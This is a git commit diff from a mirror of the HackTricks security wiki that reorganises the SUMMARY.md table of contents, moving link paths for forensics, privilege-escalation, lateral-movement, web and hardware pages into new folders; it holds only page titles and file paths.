mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
GitBook: No commit message
This commit is contained in:
parent
149daecfa2
commit
f028ac7cf6
165 changed files with 22343 additions and 4055 deletions
188
SUMMARY.md
188
SUMMARY.md
|
@ -29,35 +29,35 @@
|
||||||
* [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
* [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
||||||
* [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
* [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
||||||
* [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
|
* [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
|
||||||
* [Basic Forensic Methodology](forensics/basic-forensic-methodology/README.md)
|
* [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
|
||||||
* [Baseline Monitoring](forensics/basic-forensic-methodology/file-integrity-monitoring.md)
|
* [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)
|
||||||
* [Anti-Forensic Techniques](forensics/basic-forensic-methodology/anti-forensic-techniques.md)
|
* [Anti-Forensic Techniques](generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md)
|
||||||
* [Docker Forensics](forensics/basic-forensic-methodology/docker-forensics.md)
|
* [Docker Forensics](generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md)
|
||||||
* [Image Acquisition & Mount](generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
* [Image Acquisition & Mount](generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||||
* [Linux Forensics](forensics/basic-forensic-methodology/linux-forensics.md)
|
* [Linux Forensics](generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md)
|
||||||
* [Malware Analysis](forensics/basic-forensic-methodology/malware-analysis.md)
|
* [Malware Analysis](generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md)
|
||||||
* [Memory dump analysis](forensics/basic-forensic-methodology/memory-dump-analysis/README.md)
|
* [Memory dump analysis](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md)
|
||||||
* [Volatility - CheatSheet](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
* [Volatility - CheatSheet](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||||
* [Partitions/File Systems/Carving](forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md)
|
* [Partitions/File Systems/Carving](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md)
|
||||||
* [File/Data Carving & Recovery Tools](forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
* [File/Data Carving & Recovery Tools](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||||
* [Pcap Inspection](forensics/basic-forensic-methodology/pcap-inspection/README.md)
|
* [Pcap Inspection](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md)
|
||||||
* [DNSCat pcap analysis](forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
|
* [DNSCat pcap analysis](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
|
||||||
* [Suricata & Iptables cheatsheet](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md)
|
* [Suricata & Iptables cheatsheet](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md)
|
||||||
* [USB Keystrokes](forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
|
* [USB Keystrokes](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
|
||||||
* [Wifi Pcap Analysis](forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
|
* [Wifi Pcap Analysis](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
|
||||||
* [Wireshark tricks](forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
|
* [Wireshark tricks](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
|
||||||
* [Specific Software/File-Type Tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||||
* [Browser Artifacts](forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||||
* [Desofuscation vbs (cscript.exe)](forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||||
* [Local Cloud Storage](forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||||
* [Office file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||||
* [PDF File analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||||
* [PNG tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
|
* [PNG tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
|
||||||
* [Video and Audio file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
|
* [Video and Audio file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
|
||||||
* [ZIPs tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
|
* [ZIPs tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
|
||||||
* [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md)
|
* [Windows Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md)
|
||||||
* [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
* [Interesting Windows Registry Keys](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
||||||
* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md)
|
* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md)
|
||||||
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||||
* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||||
|
@ -125,8 +125,8 @@
|
||||||
* [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
* [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||||||
* [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
|
* [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
|
||||||
* [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
|
* [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
|
||||||
* [Useful Linux Commands](linux-hardening/useful-linux-commands/README.md)
|
* [Useful Linux Commands](linux-hardening/useful-linux-commands.md)
|
||||||
* [Bypass Linux Restrictions](linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
* [Bypass Linux Restrictions](linux-hardening/bypass-bash-restrictions/README.md)
|
||||||
* [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
|
* [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
|
||||||
* [DDexec / EverythingExec](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md)
|
* [DDexec / EverythingExec](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md)
|
||||||
* [Linux Environment Variables](linux-hardening/linux-environment-variables.md)
|
* [Linux Environment Variables](linux-hardening/linux-environment-variables.md)
|
||||||
|
@ -163,8 +163,8 @@
|
||||||
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
|
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
|
||||||
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
|
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
|
||||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md)
|
||||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md)
|
||||||
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||||
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
||||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
|
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
|
||||||
|
@ -174,7 +174,7 @@
|
||||||
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||||
* [macOS Java Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md)
|
* [macOS Java Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md)
|
||||||
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
||||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||||
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
|
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
|
||||||
* [macOS Python Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md)
|
* [macOS Python Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md)
|
||||||
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)
|
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)
|
||||||
|
@ -207,13 +207,13 @@
|
||||||
|
|
||||||
* [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
* [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||||
* [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
* [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||||
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||||
* [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
* [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||||
* [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
* [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||||
* [AppendData/AddSubdirectory permission over service registry](windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
|
* [AppendData/AddSubdirectory permission over service registry](windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
|
||||||
* [Create MSI with WIX](windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md)
|
* [Create MSI with WIX](windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md)
|
||||||
* [COM Hijacking](windows-hardening/windows-local-privilege-escalation/com-hijacking.md)
|
* [COM Hijacking](windows-hardening/windows-local-privilege-escalation/com-hijacking.md)
|
||||||
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md)
|
||||||
* [Writable Sys Path +Dll Hijacking Privesc](windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
|
* [Writable Sys Path +Dll Hijacking Privesc](windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
|
||||||
* [DPAPI - Extracting Passwords](windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
|
* [DPAPI - Extracting Passwords](windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
|
||||||
* [From High Integrity to SYSTEM with Name Pipes](windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
|
* [From High Integrity to SYSTEM with Name Pipes](windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
|
||||||
|
@ -230,7 +230,7 @@
|
||||||
* [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
|
* [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
|
||||||
* [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
|
* [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
|
||||||
* [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
|
* [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
|
||||||
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
|
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates/README.md)
|
||||||
* [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
|
* [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
|
||||||
* [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
|
* [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
|
||||||
* [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
|
* [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
|
||||||
|
@ -266,22 +266,22 @@
|
||||||
* [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
|
* [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
|
||||||
* [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md)
|
* [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md)
|
||||||
* [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md)
|
* [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md)
|
||||||
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs.md)
|
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs/README.md)
|
||||||
* [UAC - User Account Control](windows-hardening/windows-security-controls/uac-user-account-control.md)
|
* [UAC - User Account Control](windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md)
|
||||||
* [NTLM](windows-hardening/ntlm/README.md)
|
* [NTLM](windows-hardening/ntlm/README.md)
|
||||||
* [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
* [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
||||||
* [Lateral Movement](windows-hardening/lateral-movement/README.md)
|
* [Lateral Movement](windows-hardening/lateral-movement/README.md)
|
||||||
* [AtExec / SchtasksExec](windows-hardening/ntlm/atexec.md)
|
* [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
|
||||||
* [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
|
* [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
|
||||||
* [PsExec/Winexec/ScExec](windows-hardening/ntlm/psexec-and-winexec.md)
|
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
|
||||||
* [SmbExec/ScExec](windows-hardening/ntlm/smbexec.md)
|
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||||
* [WinRM](windows-hardening/ntlm/winrm.md)
|
* [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||||
* [WmicExec](windows-hardening/ntlm/wmicexec.md)
|
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
|
||||||
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
|
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
|
||||||
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
||||||
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
||||||
* [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
|
* [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
|
||||||
* [WTS Impersonator](windows-hardening/stealing-credentials/WTS-Impersonator.md)
|
* [WTS Impersonator](windows-hardening/stealing-credentials/wts-impersonator.md)
|
||||||
* [Basic Win CMD for Pentesters](windows-hardening/basic-cmd-for-pentesters.md)
|
* [Basic Win CMD for Pentesters](windows-hardening/basic-cmd-for-pentesters.md)
|
||||||
* [Basic PowerShell for Pentesters](windows-hardening/basic-powershell-for-pentesters/README.md)
|
* [Basic PowerShell for Pentesters](windows-hardening/basic-powershell-for-pentesters/README.md)
|
||||||
* [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
|
* [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
|
||||||
|
@ -418,7 +418,7 @@
|
||||||
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||||
* [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
* [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||||
* [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
* [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
||||||
* [Tomcat](network-services-pentesting/pentesting-web/tomcat.md)
|
* [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
|
||||||
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
|
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
|
||||||
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||||
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
|
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
|
||||||
|
@ -436,7 +436,7 @@
|
||||||
* [123/udp - Pentesting NTP](network-services-pentesting/pentesting-ntp.md)
|
* [123/udp - Pentesting NTP](network-services-pentesting/pentesting-ntp.md)
|
||||||
* [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
* [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
||||||
* [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
* [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
||||||
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb.md)
|
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
|
||||||
* [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
* [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
||||||
* [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
* [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
||||||
* [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
* [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
||||||
|
@ -463,7 +463,7 @@
|
||||||
* [1414 - Pentesting IBM MQ](network-services-pentesting/1414-pentesting-ibmmq.md)
|
* [1414 - Pentesting IBM MQ](network-services-pentesting/1414-pentesting-ibmmq.md)
|
||||||
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
||||||
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
||||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md)
|
||||||
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
||||||
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
||||||
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
||||||
|
@ -515,7 +515,7 @@
|
||||||
|
|
||||||
## 🕸️ Pentesting Web
|
## 🕸️ Pentesting Web
|
||||||
|
|
||||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
|
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||||
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||||
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
|
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
|
||||||
|
@ -656,7 +656,7 @@
|
||||||
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||||
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||||
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||||
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
|
* [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||||
* [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md)
|
* [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md)
|
||||||
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
|
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
|
||||||
* [Cookie Bomb + Onerror XS Leak](pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md)
|
* [Cookie Bomb + Onerror XS Leak](pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md)
|
||||||
|
@ -676,23 +676,23 @@
|
||||||
|
|
||||||
## 😎 Hardware/Physical Access
|
## 😎 Hardware/Physical Access
|
||||||
|
|
||||||
* [Physical Attacks](physical-attacks/physical-attacks.md)
|
* [Physical Attacks](hardware-physical-access/physical-attacks.md)
|
||||||
* [Escaping from KIOSKs](physical-attacks/escaping-from-gui-applications/README.md)
|
* [Escaping from KIOSKs](hardware-physical-access/escaping-from-gui-applications.md)
|
||||||
* [Firmware Analysis](physical-attacks/firmware-analysis/README.md)
|
* [Firmware Analysis](hardware-physical-access/firmware-analysis/README.md)
|
||||||
* [Bootloader testing](physical-attacks/firmware-analysis/bootloader-testing.md)
|
* [Bootloader testing](hardware-physical-access/firmware-analysis/bootloader-testing.md)
|
||||||
* [Firmware Integrity](physical-attacks/firmware-analysis/firmware-integrity.md)
|
* [Firmware Integrity](hardware-physical-access/firmware-analysis/firmware-integrity.md)
|
||||||
|
|
||||||
## 🦅 Reversing & Exploiting
|
## 🦅 Reversing & Exploiting
|
||||||
|
|
||||||
* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
|
* [Reversing Tools & Basic Methods](reversing-and-exploiting/reversing-tools-basic-methods/README.md)
|
||||||
* [Angr](reversing/reversing-tools-basic-methods/angr/README.md)
|
* [Angr](reversing-and-exploiting/reversing-tools-basic-methods/angr/README.md)
|
||||||
* [Angr - Examples](reversing/reversing-tools-basic-methods/angr/angr-examples.md)
|
* [Angr - Examples](reversing-and-exploiting/reversing-tools-basic-methods/angr/angr-examples.md)
|
||||||
